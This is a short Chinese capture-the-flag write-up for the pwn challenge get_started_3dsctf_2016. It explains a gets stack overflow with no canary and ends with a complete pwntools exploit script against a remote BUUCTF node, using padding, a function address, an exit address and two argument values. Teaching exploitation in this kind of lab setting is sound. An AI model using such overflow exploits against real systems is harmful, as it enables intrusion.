get_started_3dsctf_2016

checksec

没有栈保护,应该还是栈溢出

一般是先在main函数查找,看看整体逻辑

找到了get漏洞

注意啊注意!

这里这道题没有缓冲区

这是正常的题,这里有个s

但是这道题!

只有R没有s

这里有一个点,在函数构建的时候,我们返回函数这里是addr,在引用这个函数时,我们要马上接入他的返回函数,这里就是exit,然后再传参,之前的题没有这个因为没有正常结束不会有什么问题

python 复制代码
from pwn import *
ghust = remote("node5.buuoj.cn",26779)
addr= 0x80489A0
exit_addr=0x0804E6A0
a1=814536271
a2=425138641
payload = b'a'*56 +p32(addr)+p32(exit_addr)+p32(a1)+p32(a2)
ghust.sendline(payload)
ghust.interactive()
相关推荐
嵌入式小能手4 分钟前
飞凌嵌入式ElfBoard-文件I/O的深入学习之I/O多路复用
linux·服务器·学习
墨北x6 分钟前
2025 年江西省职业院校技能大赛(中职组)《网络建设与运维》赛项样题
运维·网络
Konwledging10 分钟前
Linux memblock
linux
一条咸鱼¥¥¥11 分钟前
【运维经验】ESXi虚拟机磁盘设置精简置备,需要回收所占用未能释放的空间
运维
测试人社区—小叶子20 分钟前
边缘计算与AI:下一代智能应用的核心架构
运维·网络·人工智能·python·架构·边缘计算
小嘟嘟1326 分钟前
从基础到进阶:掌握 userdel,玩转 Linux 用户管理的 “减法” 艺术
linux·运维·网络·shell
测试人社区—小叶子29 分钟前
金融系统迁移测试:历时半年的完整实践复盘
运维·网络·人工智能·python·测试工具·金融
萧技电创EIIA32 分钟前
西门子PLC单边通信核心指南
linux·运维·服务器
RisunJan41 分钟前
Linux命令-GCC命令(编译器套件,支持C、C++、Fortran等多种编程语言)
linux
识途老码44 分钟前
python程序替换全局socket
服务器·网络·python